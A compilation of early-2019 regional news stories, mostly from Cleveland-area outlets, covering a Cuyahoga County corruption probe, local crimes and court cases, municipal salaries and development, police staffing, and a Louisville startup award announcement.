This latest subpoena is the first to be served on the county since the corruption investigation was taken over by Ohio Attorney General Dave Yost. The county has received a total of 17 subpoenas seeking information related to the probe. A number of county officials have also been required to appear before the grand jury looking into possible criminal activity.

The Cuyahoga County Prosecutors Office began the investigation more than a year ago, but the probe is now being overseen by Yost to avoid a conflict of interest.

County Prosecutor Michael OMalley recused himself because he was in the position of having to defend Budish in a civil lawsuit involving conditions at the County Jail while at the same time investigating possible criminal behavior related to the jail.

"With the filing of the civil lawsuit, it has brought us to a position where representing the county in the civil issues is crossing into our criminal investigation, OMalley previously told cleveland.com.

OMalley said that it would be more expensive for him to recuse himself from the civil litigation than to step away from the criminal investigation.

After taking over the investigation, Yost said his office would conduct a fair investigation even if Budish is dragged into it. Budish is represented by attorney Steven Dettelbach, former U.S. attorney for the Northern District of Ohio, who lost to Yost in the race for attorney general last year.

Last month, the grand jury indicted Dykes, a member of Budishs cabinet, and two former county administrators on corruption-related charges.

Dykes, Mills, and former IT administrator Emily McNeeley were charged with a variety of felonies and misdemeanors. All three have pleaded not guilty.

Mills, who resigned his post in November, faces eight charges, including felony counts of tampering with government records and telecommunications fraud.

According to prosecutors, Mills lied to the Cuyahoga County Council at a May 22, 2018, meeting about his role in blocking the hiring of necessary nursing staff for jail facilities.

He later lied to investigators about his interactions with a high-level Cuyahoga County official, according to prosecutors. Those actions resulted in misdemeanor charges of falsification and obstruction of official business.

Mills was hired in 2014 to take charge of Budishs plan to regionalize the jails in the county. He resigned his job days before the U.S. Marshals Service released a report that detailed unclean, unsafe and inhumane conditions inside the County Jail, where eight inmates died last year.

Dykes, who remains on the job, faces felony charges of theft in office and tampering with public records. The charges stem from a $15,000 signing bonus paid to then-Deputy Chief Information Officer James Hay. Prosecutors claim Dykes improperly converted traveling expenses into the signing bonus.

Dykes then lied to a County employee by falsely claiming that Cuyahoga County Law Director Robert Triozzi had approved the conversion of the improper moving expenses into a signing bonus, prosecutors stated at the time of the indictment.

McNeeley faces 17 charges, including felony counts of telecommunications fraud, tampering with government records and having an unlawful interest in a public contract.AKRON, Ohio -- Akron Public Schools Superintendent David James is now an advisory trustee for the University of Akron, the university announced on Wednesday.

James began as superintendent for the district in 2008. The board of education extended his contract until 2022 in July 2018, according to the Akron Beacon-Journal. James, who makes $225,500 as superintendent, will not have voting rights on the UA board. University trustees are unpaid.

By appointing James, the board will deepen its relationship with Akron public schools, UA board chair Joesph Gingo said in a release.

Akrons College and Career Academies master plan, launched under James, allows students to study within different career paths in high school, so theyre better prepared when they graduate.

UA became a sister university to Ellet High School, National Inventors Hall of Fame STEM High School and Akron Early College in September of 2018. Through this partnership, UA officials work with these schools to create career-themed programming and to offer guidance on the college admissions process.

The Akron Early College High School, launched in 2007, is on UAs campus, which allows Akron students to pursue an associates degree while still in high school. If students take more than 60 college credit hours, they can earn an associates in arts or science upon graduating.

(The relationship between the University of Akron and Akron schools) is among the most important in this community," James said in a release. "The stronger and more productive it is, the greater the future will be for our children. I consider it an honor and a privilege to be at the table as an advisory trustee.

Akron Public Schools received a D on its 2017-18 state report card, with F ratings in the graduation rate and prepared for success categories. The district released a profile page to show other measures of success outside of the report cards, which critics say are too dependent on scores from ever-changing state tests.CLEVELAND, Ohio  A second man died on Tuesday after someone shot him and his friend one time each in the head, police said.

Mario Blanton, 31, died at University Hospitals, three days after he was shot. Another man inside the car, Andre Brown, 33, died at the scene, police said.

The shooting happened about 11:50 p.m. Saturday on Stevenson Avenue, south of St. Clair Avenue.

Neighbors reported hearing gunfire in the area and seeing a man shot inside a 2003 Honda Element SUV, police reports say.

Officers found both Brown and Blanton with a single gunshot each to their right head, according to police reports.

Brown was on the ground next to the drivers seat and Blanton was slumped over in the front passenger seat, police reports say.

Blanton was taken to the hospital. No arrests have been made in the case and no suspects have been identified. Police have not yet said if theyve learned what led up to the shooting.

To comment on this story, please visit Tuesdays crime and courts comments page.MENTOR, Ohio  The state controlling board on Tuesday released $10.8 million earmarked for the cleanup and restoration of the Mentor Marsh, which has been devastated by salt pollution over the past 50 years.

The five-year remediation project was made possible by the settlement of a lawsuit brought by the Ohio EPA against the estate of the late developer Jerome Osborne, whose companies were responsible for the salt runoff at a 9-acre site adjacent to the marsh.

The newly created Marsh Restoration Fund consists of $10.6 million from the Osborne companies, and $250,000 in state funds for engineering, design and planning for the marsh remediation, said State Rep. John Rogers, a Democrat from Mentor-on-the-Lake.

This is just the beginning of the efforts toward restoring this area of the marsh and ensuring this beautiful community asset lives on for future generations, Rogers said in a prepared release.

The Cleveland Museum of Natural History acquired the marsh in 1965 and established it as the states first nature preserve in 1971. Prior to that time, the marsh had served as a breeding area for Lake Erie fish and as a rest stop for migrating ducks, geese and songbirds.

But in 1966, Osborne Concrete and Stone sent salt pollution pouring into Blackbrook Creek, poisoning the pristine marsh and destroying trees, vegetation, fish and animals in the 691-acre Mentor Marsh preserve.

By the early 1970s, the marsh was choked by reed grass called phragmites, an invasive, salt-tolerant plant that formed an impenetrable wall of vegetation across the 4-mile-long marsh basin, and which periodically caught fire, threatening nearby neighborhoods.

Under terms of the lawsuit settlement agreement, Osborne Concrete and Stone, a family trust, and Lakeshore Boulevard Properties, which is owned by the trust and has title to the property, will pay to remove hundreds of thousands of cubic yards of polluted soil from the acreage adjacent to the marsh. The defendants also will be required to eliminate ongoing pollution to the marsh, the Grand River, Blackbrook Creek and Lake Erie.

During the restoration, the land will be held in the custody of the Lake County Land Reutilization Corp., a non-profit land bank, with the expectation that it will eventually be sold for $1 to the Cleveland Museum of Natural History.CLEVELAND, Ohio  Federal authorities have arrested a Euclid man they say convinced a 13-year-old Toronto girl to send him nude photos, then threatened to share the photos online if she did not send him more.

Tyrin B. Davis, 20, was charged with one count of sexual exploitation of a child in U.S. District Court in Cleveland.

A news release from the U.S. Attorneys Office Northern District of Ohio says Davis offered the girl $1,000 to send him nude photos of herself. The girl told investigators her family was struggling financially so she thought the money would help.

The girl sent Davis the photos through Instagram and Snapchat, authorities say, and he quickly asked for more. He told the girl if she refused he would share the photos he already had online. The girl then sent more photos.

The girl later tried to cut off communication with Davis and he responded by sharing photos of her with several of her friends on Instagram, authorities say. Davis also is accused of contacting the victims cousin, saying he also wanted nude photos of her and would post more nude photos of the victim if the cousin didnt comply.

The girl and her mother went to police in Toronto in May 2018 to report the extortion, officials say.

Investigators with Homeland Security Investigations and the Toronto Police Service were able to trace messages to the victim to a computer IP address assigned to Davis in Richmond Heights. Davis has since moved to Euclid.

This case demonstrates the danger posed by the Internet, particularly for teens posting photos and communicating with people they dont really know, U.S. Attorney Justin Herdman says in the news release. Parents and trusted adults need to make it their business to know who their kids are talking to.

To comment on this story, visit the crime and courts comments page.MEDINA, Ohio -- Enjoy the warmth and charm of old Ireland with Rambling House, a new music and dance group featuring seasoned, world-class musicians and dancers.

The troupe will perform at 7:30 p.m. Saturday, March 2, at the Medina Performing Arts Center, 851 Weymouth Road.

Rambling House melds the heart of Celtic and American folk music with the discipline and sophistication of Baroque music, under the direction of Grammy-winning guitarist William Coulter and former Stevie Wonder Band collaborator Edwin Huizinga.

Soprano Amanda Powell, of recent Grammy Award-winning Apollo's Fire, sings with untethered joy.

This presentation of music is accented with the percussive brilliance of modern Irish step dancing, choreographed by Riverdance veterans Brandon Asazawa and Alyssa Reichert, recently returned from a tour of China.

Performers Brian Bigley on uilleann pipes and Kristen Capp Bigley on violin are the producers of this show. Last December, their previous show, A Celtic Christmas, performed to about a thousand people at the Medina PAC.

Irish storyteller Tomaseen Foley will accompany the music and dancing with humorous, touching stories of Ireland.

The performers get their name from an old Irish custom in which neighbors picked a house to ramble to in the evenings to share music, dance and story. It was these settings that bore their humor, charm and a sense of community and togetherness, which is what Rambling House exemplifies. It is a joyful culture that's rich in spirit and warmth -- like a steaming hot mug of Irish coffee in a neighbor's warm kitchen.

Tickets are $27 for orchestra seats or $22 for seats in the mezzanine and can be purchased by calling 440-554-2394 or at

. Tickets will also be available at the door on the evening of the performance.MAYFIELD, Ohio -- Theft, SOM Center Road: Two men took off running from Heinen's Feb. 6 after they were spotted trying to steal a cart full of lobster and seafood.

The Cleveland men, 46 and 64, were taken into custody by officers near CVS. They were both found to have active arrest warrants. One man was turned over to Macedonia police and the other was turned over to North Olmsted officers.

They were both cited for attempted theft.

Soliciting, Aintree Park Drive: Officers responded to an apartment complex Feb. 9 for a report of men soliciting door to door for an energy company. The Cleveland man, 25, and South Euclid man, 22, were located and did not have a solicitation permit.

One of them was found to have an active warrant with Maple Heights and was turned over to officers from that city.

Suspicious person, Wilson Mills Road: A man was said to have approached a woman at True North Shell Feb. 8 and asked if she was a Christian and if she would give him a ride to Mentor Lumber. The man was said to have shown her a receipt from that business.

The woman refused and contacted police due to the abnormal behavior of the man. A short time later, the suspect arrived at the fire station and said his vehicle had broken down.

Responding officers found that the Parma man, 43, had an active warrant. He was subsequently taken voluntarily to Hillcrest Hospital for mental health issues.

Suspicious activity, Aintree Park Drive: A resident reported Feb. 7 that her 11-year-old daughter had received harassing text messages from a suspect asking for money. She said the unknown person also mentioned sending photos of an inappropriate nature. The incident is under investigation.

Welfare check, Lander Road: A woman requested a welfare check Feb. 7 at the home of her boyfriend after he had made suicidal comments to her through a messaging app. Responding officers located the 23-year-old man, who voluntarily agreed to be taken to the hospital for a psychiatric evaluation.

Disturbance, Wilson Mills Road: Mayfield High School staff asked for extra patrol at the end of the school day Feb. 5 for concern that a parent might come to the school and cause a disturbance. The man had been calling the school throughout the day and asking about a student he is not supposed to have contact with due to a recent domestic violence incident. There was no indication that the man came to the school.

Suspicious, Beta Drive and Wilson Mills Road: Officers responded to the Holiday Inn around 11:30 p.m. Feb. 5 for a report of a disoriented woman whose credit card had just been declined.

Officers tried to have family members attend to the Gates Mills woman, 61, whom a daughter said was bipolar, but they were unsuccessful. She was subsequently taken to the hospital for a psychiatric evaluation.

On Feb. 10, officers responded to Austin's Steakhouse, where the same woman had dined but had not been able to pay her bill. The staff also advised that she appeared to be homeless and was acting strangely. She once again was taken to the hospital.

See more Mayfield Village news at Cleveland.com/hillcrest.

If you would like to discuss the police blotter, please visit our crime and courts comments page.CLEVELAND, Ohio  The man suspected of abducting an Ohio State University student from the Mansfield campus fatally shot her before a Kentucky police officer shot and killed him, authorities confirmed Wednesday.

Ballistic tests confirmed Tyrell Pounds fired the gunshot that killed Skylar Williams after a chase ended Monday along Interstate 71 in Oldham County, located just northeast of Louisville, Kentucky State Patrol Commissioner Rick Sanders said at a news conference the agency streamed live on Facebook. Pounds abducted her at gunpoint hours earlier on OSUs Mansfield campus, authorities said.

A KSP trooper heard the shot as he approached the SUV that Pounds had been driving. The trooper then shot into the SUV and struck Pounds several times, killing the 24-year-old man, Sanders said at the news conference.

An ambulance took Williams to University of Louisville Hospital, where the 20-year-old woman was pronounced dead, authorities said previously.

Investigators found a gun inside the SUV, and ballistics tests confirmed it fired the shot that killed Williams, Sanders said.

Video of the news conference can be viewed at the bottom of this post.

The trooper who shot Pounds is a five-year veteran with no disciplinary action in his personnel file, Sanders said. He has been placed on administrative leave as the officer-involved shooting is investigated.

Williams and Pounds had a child together, the Ohio State Highway Patrol said. The child was safe with family members when Williams was abducted Monday morning.

She was standing in a parking lot about 11:45 a.m. when Pounds approached her. He forced her into a car at gunpoint, OSUs Department of Safety said in a news release.

Pounds later abandoned that car and stole a Dodge Caravan, authorities said.

A witness in Kentucky called 911 just before 3:30 p.m. to say that she saw a man forcing a distressed woman into a dark-colored Caravan at a gas station in Gallatin County, located northeast of Oldham County. The woman appeared to be asking for help before the car sped away toward I-71.

Troopers found the car, but Pounds led them on a chase that ended when he got off the highway in Oldham County. A trooper then performed a PIT maneuver, impeding the Cavarans path and preventing Pounds from getting back onto the highway.

Pounds shot Williams, striking her in the arm and chest, as the trooper got out of his cruiser to apprehend Pounds, Sanders said. The trooper then fired several shots into the Caravan.

The Kentucky State Polices Critical Incident Response Team is investigating the officer-involved shooting.

To comment on this story, visit Wednesdays crime and courts comments page.CLEVELAND, Ohio -- A Cleveland mother is facing a misdemeanor charge after her 3-year-old daughter was found wandering alone early Sunday in the citys Glenville neighborhood.

The 21-year-old mother is charged with endangering children, a first-degree misdemeanor, in connection with the incident, according to Cleveland Municipal Court records. Cleveland.com is not naming the mother because doing so would indirectly identify the juvenile victim.

The 3-year-old girl had two small cuts on her forehead and behind her ear, as well as minor bruising on her body, when doctors evaluated her at Rainbow Babies and Childrens Hospital.

Cuyahoga Countys Division of Children and Family Services took custody of the girl and her 1-year-old brother Sunday and placed them into foster care, county spokeswoman Mary Louise Madigan said.

The children were still in foster care Tuesday afternoon, but a relative has offered to take custody of them, Madigan said. Social workers are conducting a background check, which is standard procedure when a relative offers to take custody.

The mother told investigators that she put her kids to sleep about 11 p.m. Saturday, then went to sleep herself. She woke during the night and noticed her daughter was not in bed, but she assumed the girl was sleeping downstairs on a couch, court records say.

A 46-year-old woman called 911 early Sunday when she came out of her house to walk her dog and found the 3-year-old girl walking in the street, according to a police report.

A black SUV pulled up moments later. An unidentified woman got out of the SUV and took the girl back into the vehicle, which then drove away.

The SUV drove back around the block. An unidentified woman, who was driving the SUV, started arguing with the 46-year-old woman over the girl. She got out of the SUV and punched the 46-year-old woman in the face, pushed her to the ground and kicked her, police reports say.

The 46-year-old womans daughter came out of her house, and the SUVs driver punched her too, police reports say.

A 48-year-old man then got out of the SUV and joined in the fight. He pushed the daughter and kicked the 46-year-old womans dog, then left the area with the unidentified woman, police reports say.

An ambulance took the girl to the hospital. Social workers went to the mothers home and identified her after getting a tip regarding her possible identity, Madigan said.

The 46-year-old woman suffered a broken tooth during the fight but refused medical attention. Her daughter also refused treatment, police reports say.

The 48-year-old man returned to the scene and spoke with police officers. He said he and the unidentified woman were driving in the area when they almost hit the girl wandering in the street. They took the girl in the SUV as they drove around the neighborhood, police reports say.

Neither the man nor the unidentified woman were charged in connection with the incident, according to police and court records.

To comment on this story, visit Wednesdays crime and courts comments page.CLEVELAND, Ohio  Federal prosecutors filed more charges against a man accused of concocting a terrorist plot against Fourth of July fireworks watchers in downtown Cleveland.

The grand jury issued the five-count indictment against Demetrius Pitts on Tuesday, one day after a federal judge refused to take Pitts plea. The indictment includes charges related to threats the FBI said Pitts made against President Donald Trump and his family

He was previously charged with attempting to provide material support to al-Qaida. His charges now encompass the threats he is accused of making and two counts of lying to the FBI.

Pitts, 49, was arrested July 1 after corresponded with an undercover agent about an attack and scoped out an area to park a van full of explosives near Voinovich Park on Independence Day, the FBI said.

He agreed to enter a plea agreement with the U.S. Attorneys Office and admit to the attempting to provide material support charge during a hearing on Monday. However, when U.S. District Judge Solomon Oliver Jr. asked Pitts whether he committed a crime in support of al-Qaida, Pitts characterized his actions by saying he just went downtown and took pictures.

Pitts, who acknowledged he received treatment for anxiety, bipolar disorder and schizophrenia and takes medication for his mental health, also said the person he talked to while in Cleveland never mentioned al-Qaida. Instead, the person only talked about being a Muslim brother, Pitts said.

The judge said he wouldnt accept the plea of someone who adamantly denied committing a crime as described in an indictment.

Instead of facing a maximum of 20 years in federal prison, Pitts now faces up to 46 years. His arraignment is set for Feb. 19 and he remains in the custody of the U.S. Marshals Service.

The new charges stem from statements the FBI said he made on June 15, two weeks before his arrest. He said that he wanted to cut off Trumps head and hands and to kill Trumps children and son-in-law, according to the indictment.

He lied during an interview with the FBI on July 1 when he said he was not aware of any impending terrorist attack in Cleveland and that he never discussed acts with someone he thought was an al-Qaida operative, the new indictment states.

Pitts has criminal convictions stretching back to 1989 for robbery, domestic violence and theft.

The statements the FBI said Pitts, who also goes by Abdur Raheem Rafeeq and Salahadeen Osama Waleed, made about violent attacks or an allegiance to al-Qaida were mostly to agents or confidential informants, according to court filings. An informant gave Pitts a bus pass to travel downtown and scope out potential targets, as well as a cellphone he later used to text an undercover agent, authorities said.

He underwent a competency evaluation last year, and a federal magistrate judge in November deemed him competent to stand trial.

Pitts also said Monday that that he also received physical therapy following a stroke in 2013. Pitts, who hails from Cincinnati, was living at a Maple Heights rehabilitation facility at the time of his arrest.

If you would like to comment on this story, please visit Wednesdays crime and courts comments section.CLEVELAND HEIGHTS, Ohio -- With some conditions attached, the city's Architectural Board of Review last week approved "conceptual design" plans for the Top of the Hill project.

And some of that design remains much more conceptual than other components of the $85 million development, the biggest "work-in-progress" still being the 10-story tower at the top of Cedar Hill.

Minutes had yet to be released from the Feb. 6 meeting as of Tuesday, prompting ABR Chairwoman Melissa Fliegel to attempt to set the record straight on what had been granted to the developer and architect at this point.



"They were ultimately approved for the conceptual design, and we will be working with them administratively (through the City Planning Department)," particularly on the western end of the project, Fliegel said.

That would include the tower and its five-story companion building on the west side of the new entrance road connecting Cedar and Euclid Heights Boulevard, where Fliegel at one point said she told the developers to "proceed at your own risk."

Fliegel said the ABR was initially leaning toward full approval on the plans to the east of the entrance road, namely the rest of the 275 apartments and the 525-space parking garage.

The panel discussed holding off on approval of the "point building" and the one smaller one next to it pending further refinement and details.

According to former ABR member and chairman Rich Bozic, who served for six years before stepping down two years ago, the developer then protested any potential delay.

The representative for Flaherty & Collins "presented his need to have full approval from the ABR," Bozic said. "He continued to push hard, stating that they only had a certain amount of time and that money would be lost if they had to wait."

Bozic felt that city officials should have intervened at that point.

"Design and aesthetic decisions are not made because of time and money," Bozic said.

Noting that the heights of the buildings were already approved last year by the Planning Commission and City Council as part of the "Planned Development Overlay" district, Fliegel said the process is moving forward.

"The developer had concerns about the schedule and I said we weren't trying to delay the project," Fliegel recalled. "But we really haven't had enough time to talk about the architecture."

While she has tried to encourage public participation, part of the problem has been non-germane commentary during the ABR meetings that continues to raise issues such as a proposed hotel being pulled from the plans.

That's some of the reason that general design approval was granted -- "with conditions" -- by the ABR on Feb. 6, Fliegel added.

This will allow the ABR and the developer to keep working through issues like massing, materials and other details, although Bozic thinks F&C continues to get special treatment.

"A project of this scale should never be passed with so little information," Bozic said. "It doesn't matter if it is the greatest building ever designed."

And there are still some architectural and procedural concerns out there in the public, including those who feel that the context of a "historic district" has been largely overlooked.

Architect William Eberhard cited city ordinance calling for a design that "must respond to the site's prominence and respect the district's character."

Eberhard also argued that a 60-day public comment period for the new Planned Development Overlay district had just elapsed by the time the developer's drawings were released on Dec. 22.

"By then, it was too late for residents to say, 'hey -- wait a minute,'" Eberhard told the ABR.

Architect David Ellison echoed those sentiments about contextualism and compatibility in the historic Cedar-Fairmount District.

"The design I saw at the ABR meeting last week did not look so wonderful or unique that it would be worth risking the character of this section of Cleveland Heights that we all love and which is so familiar," Ellison said.

Cedar-Fairmount resident, attorney and former councilman Lee Chilcote likes the "administrative process" now continuing between the developer, the ABR ad the city.

"I definitely think the approval is a win for Cleveland Heights," Chilcote said. "The developer has agreed to move forward with more detailed drawings to improve the quality of the project -- and I do think it's critical that this project be of the highest quality."

As detailed design work continues, Fliegel said that the developer and architect plan on returning for another formal presentation before the ABR in around 2-1/2 months.

Councilman Mike Ungar, who chairs the Planning and Development Committee, said last week that comments on the Top of the Hill design's "current iteration" can still be sent to City Planning Director Richard Wong at RWong@clvhts.com.CLEVELAND, Ohio  Members of Cleveland City Council looked to Chief Calvin Williams for reassurance Wednesday that his bolstered police ranks would mean residents would see more officers in their neighborhoods.

Williams presented a new deployment plan for his department to councils Safety Committee, a plan he says will make for more efficient operations and allow for better policing.

City Council President Kevin Kelley said increased recruitment efforts  Cleveland graduated five classes of police cadets in 2018  should help the department meet public expectations.

"To me the main things people expect from the police is that they see them, that they show up when theyre called and that they are respectful to people in the community. Kelley said.

Related coverage: Cleveland police plan calls for more officers to bolster interaction with residents and better deter crime

Members quizzed the chief on a variety of topics over the course of the three-hour hearing, from re-establishing mini-stations in wards to providing greater traffic control.

Heres some of the issues they raised.

What are the numbers?

Cleveland has aggressively sought to increase the size of its police force. It graduated 239 cadets in 2016, to bring the force to nearly 1,640 officers. Nearly 1,200 are patrol officers.

The department had been struggling to regain staffing since layoffs in 2004 and 2006 that eliminated 375 jobs. After voters raised the city income tax from 2 percent to 2.5 percent in 2016, money became available to expand the force.

Two more classes are underway now. Another two are expected to be started before the year is up.

Is that enough?

Councilman Mike Polensek sought assurances that the department would be able to maintain its size, given that each year it loses 80 to 100 officers to retirements and attrition.

And even if thats the case, Polensek said he would like to see more officers. A member of council since the 1970s, he recalled efforts in the late 1990s that expanded the departments to more than 1,900 officers.

Williams said each recruitment class should yield about 40 officers  enough to collectively keep up with retirements. The department has averaged about 75 departures annually year over the last 10 years. The average is more like 90 a year over the last five, driven up by an unusually large number  more than 100  in 2016.

Will the plan foster a sense of safety?

Violent crime and serious property crime declined in Cleveland for a second year in a row. Yet Williams has acknowledged that Cleveland is fighting a perception that some neighborhoods are crime-ridden.

Ward 1 in the southeast part of Cleveland provides an example. It registered the lowest crime numbers for 2018 of any of the wards on the East Side, yet Councilman Joe Jones described it as struggling with crime.

It almost feels like Im in a war zone at times when Im in my neighborhood, Jones said. The people want to see the police officers in their neighborhood. They want to know the police are here.

The staffing numbers in the deployment plan were set based on what the department would need to efficiently handle about 270,000 calls for service a year, the departments average. Those include everything from barking dog to shootings.

Those numbers reflect a net gain of patrol cars on the street and staffing for community engagement.

Does that mean mini-stations might return?

They are not included in the deployment plan.

Clevelands wards once had police mini-stations, but then-Mayor Jane Campbell closed them as part of budget cuts.

Members of council still clamor for their return. Last April, 12 members wrote to Williams asking they be reopened.

"When mini-stations were active in our wards, there was continuous engagement between officers and residents," their letter states. "Officers patrolled streets and developed one-on-one relationships with residents that allowed them to de-escalate safety threats and identify nuisances."

On Wednesday, Polensek again mentioned police mini-stations to ease fears in the neighborhoods.

Williams has resisted, arguing that it isnt efficient to tie officers to mini-stations, rather than allowing them to be deployed on patrol and to engage with the public.BROADVIEW HEIGHTS, Ohio -- The mayor of Broadview Heights may receive a raise of at least 2.9 percent in December 2019, taking his base salary from $111,292 to no less than $114,500.

The exact amount isn't known because, under legislation proposed in January by City Council, the mayor's salary would always be 5 percent higher than those of the police and fire chiefs.

Now, Police Chief Michael Vizer and Fire Chief Jeffrey Hajek each earn $109,048 a year. If those salaries don't change, the mayor's pay would rise to $114,500 -- 5 percent higher than $109,048 -- until the chiefs receive raises, at which time the mayor would also receive an increase to remain 5 percent ahead of them.

Meanwhile, under a second ordinance, council members, most of whom now earn $15,299 a year, would receive cost-of-living raises equal to increases in the Consumer Price Index. The raises would be capped at 3 percent a year, and the council president would receive an additional $2,500 in salary.

Council is expected to vote on both ordinances Feb. 18. If the ordinances are approved, the initial raises would take effect at the start of the next four-year mayoral and council terms in December 2019.

The increases would benefit current Mayor Sam Alai and incumbent council members only if they are re-elected in November.

Under the city charter, council must review mayoral and council salaries every four years and approve any salary changes at least 45 days before candidates can start filing petitions to run in the September primary.

According to minutes of the Jan. 22 and Jan. 28 Finance Committee meetings, council President Robert Boldt said that over the past 15 to 20 years, mayoral and council salaries have generated more discussion than any other issue. He said it shouldn't be that way.

In 2015, council voted 5-2 to increase the mayor's salary by 18 percent over the following four years. His salary was $94,938 at the time. Those supporting the raises said the mayor's salary had been frozen for about five years, due at least partly to the Great Recession.

Also in 2015, council approved pay raises of 2 percent annually for future council members, taking their salaries from $14,134 to $15,299 in 2019.

This time around, Finance Director David Pfaff recommended a different approach -- establish the mayor as the highest-paid executive by keeping his salary 5 percent above those of the police and fire chiefs. That way, the decision of whether to give the mayor a raise would be taken out of council's hands, unless future councils change the ordinance.

In turn, under existing code, the chiefs' salaries are based on police and firefighter union contracts. Pfaff said the police chief's salary is always 10 percent more than the pay of a police lieutenant, and the fire chief's salary is always 10 percent more than the pay of the assistant fire chief, whose rate is equal to that of a police lieutenant.

The city is now negotiating with police over a new union contract, so it's uncertain what a police lieutenant will earn in December 2019. That means it's unknown what the police chief and mayor will earn later this year and into 2020.

As for additional benefits for the mayor, Pfaff said the city does not pick up the mayor's contribution toward his pension plan under the Ohio Public Employees Retirement System. The city pays $57 a year toward life insurance for all city workers, including the mayor.

Regarding health insurance, the city pays the same amounts for all full-time workers: $7,996 a year for single coverage and $20,302 for family coverage, although the costs will rise in March. Employees contribute $35 a month for single coverage and $75 a month for family coverage.

It was also Pfaff who suggested the CPI approach to council raises. According to the proposed ordinance, the Ohio Public Employees Retirement System uses CPI to determine its annual pension adjustments.

If the cost-of-living doesn't rise, council would not receive a raise that year. Pfaff said the proposed ordinance would take the politics out of the council salary issue.

Boldt said he liked the CPI-retirement system approach, adding that a 3 percent increase for council is enough under any circumstances.AKRON, Ohio -- The family of a man left permanently injured after a Feb. 2018 police shooting in Lakemore filed a lawsuit Tuesday in federal court against the two police officers involved.

Lakemore officer Ezekial Ryan and Springfield Township officer Kristofer London shot 31-year-old Matthew Burghardt while he sat unarmed in a van Feb. 13, 2018, according to court documents.

Gunshot wounds rendered Burghardt blind and permanently cognitively incapacitated, according to the lawsuit. Burghardts family, who filed suit on the eve of the anniversary of the incident, are seeking accountability in what his lawyers say was an unjustified shooting.

Summit County Prosecutor Sherri Bevan Walsh in August wrote letters to the Lakemore and Springfield Township police chiefs in which she ruled the officers use of deadly force was legally justified and appropriate in light of the circumstances and risk posed" by Burghardt and the other man in the vehicle.

Officers were first called in the early morning hours of Feb. 13, 2018, regarding an attempted burglary at a tractor supply store on the 1500 block of Canton Road, according to police. During their investigation, officers Ryan and London, along with Springfield Township police Sergeant Eric East, approached a van around 5 a.m. parked on the 1200 block of Main Street in Lakemore.

Burghardt was seated in the passenger seat and Christian Beard was in the drivers seat, according to police. Officers observed Burghardt and Beard laid back in their seats with their eyes closed.

As East began to use a slim jim to attempt to open the drivers side door, Beard sat up, put his hands up, looked to the rear area behind the van and put the van in reverse, police said. Burghardt remained laid back with his eyes closed, according to the lawsuit.

The lawsuit claims no officers, or any other person, were in the vans path as it reversed. The van continued to accelerate in reverse even after striking a police cruiser, police said.

As the van started to reverse, East said, Dont shoot him, dont shoot him. Ryan and London each fired three shots at the men in the van, according to the lawsuit. Burghardt was struck in his head and arm. Beard suffered gunshot wounds to his arm, hand and right side of his neck.

Body-worn cameras captured the shooting. (Warning: Graphic video)

Paramedics rushed Beard and Burghardt to a hospital where Burghardt underwent emergency surgery and remained hospitalized for months, according to police. He requires round-the-clock care, the lawsuit claims.

This shooting was objectively unreasonable and constituted excessive force, in violation of Matthew Burghardts rights under the U.S. Constitution and Ohio law, lawyers Jacqueline Greene and Sarah Gelsomino said in a press release.

As a result of the shooting, Burghardt suffers from serious, debilitating and permanent physical injuries, cognitive impairment and continuing psychological trauma, the lawyers said.

My son was unarmed, the victims mother, Michelle Burghardt, said in a statement. He did not hurt anyone. They shot Matthew anyway, when he was only sitting in the passenger seat. His entire life is changed and hell never be the same.

We want justice for our son, said Burghardts father, also named Matthew Burghardt.

Burghardts family is represented by Greene, Gelsomino and Terry Gilbert of the Friedman and Gilbert law firm in Cleveland.

The law is clear - officers may only shoot when faced with an immediate threat of death or serious bodily harm. No such threat was present here, Greene said, adding that the officers fired at Burghardt despite Easts orders not to shoot.

Their actions were unreasonable, illegal, and have tragically altered the lives of Matthew and his family, Greene said.

The Lakemore Police Department declined to comment on this story. Springfield Township police did not immediately respond to a request for comment.

To comment on this story, visit Tuesdays crime and courts comment section.

Want more Akron news? Sign up for cleveland.coms Rubber City Daily, an email newsletter delivered at 5:30 a.m. Monday through Friday.LOUISVILLE, KY, February 1, 2019  Thursday evening, Schedule It received a FAST Innovation Award from EnterpriseCorp, the entrepreneurial arm of Greater Louisville Inc. Twelve of the regions most innovative up and coming companies were honored at The Loft at the Gillespie, presented by Hilliard Lyons and Dean Dorton.

We are extremely honored to have received this award last night, says Schedule It CEO, Rebecca Wheeling. Kentuckys entrepreneurial community has shown such tremendous growth this past year and we are truly excited to be a part of it. Our mentors and organizations such as EnterpriseCorp and Greater Louisville Inc. have supported us every step of the way and helped us to achieve our success.

Schedule Its automated and structured Schedule It Pro product, with immediate contact capabilities, eliminates time-consuming calls between insurance carriers, IA firms, adjusters and insureds about claim status, ensuring worry-free claims management for insurance carriers and their insureds with improved customer satisfaction and customer loyalty. The claim inspection process is also greatly improved with Schedule Its newly launched mobile app, Scope It , making initial home inspections quick and painless, enabling adjusters to have their inspection reports completed in the same day.

These HOT and FAST companies exemplify high-potential, innovative work being done throughout the regions entrepreneurial community. Past winners include stand-outs such as Apellis Pharmaceuticals and MobileServe.

The criteria used in this years selection of six HOT Companies included being a technology-based company that is using innovation to differentiate themselves in the marketplace and incorporating some level of intellectual property into their innovation. Each has already gained customer traction as an indication of early adoption and is currently in or has had successful equity raises. All six are clients of EnterpriseCorp.

The criteria used in this years selection of six FAST Companies included being a high-growth company that is increasing their revenue by at least 20% annually for three years or more, starting from a revenue base of at least $1 million. This growth pace means that the companies have effectively doubled their revenues.

EnterpriseCorp believes all 12 companies selected are positioned to continue growing and improving Greater Louisvilles economy.

2019s HOT & FAST Companies are:

Hot Companies

Autymate : Provides a revolutionary software platform for connecting every source of data, helping businesses automate their workflows and generate custom dashboards and reports. Autymate is focused on building relationships with resellers and channel partners to create software solutions that solve their clients pain points as well as generate new revenue opportunities for partners.

BehaVR : Creates digital therapeutics for behavioral health using Virtual Reality. Their goal is to help people better cope with stress and adverse life events that manifest in chronic pain, addiction, anxiety, depression and higher medical costs due to chronic illness.

Dry Baby : The exclusive manufacturer of liquid and stain repellent infant apparel. Dry Baby solves a problem all caregivers face  messy babies. With their functional childrens apparel fighting against everyday messes, spills, and spit up, they keep babies clean, comfortable, and dry all day.

Podchaser : The ultimate data source and discovery solution for podcasts.

RCM Brain : Uses artificial intelligence (AI) and bot automation (RPA) to accurately manage claim and payment transactions between healthcare providers and insurance payers. Their technology is built from the ground up using AI capabilities to extract data from any source, self-learn advanced rules, and drive predictive workflow to front line billing staff.

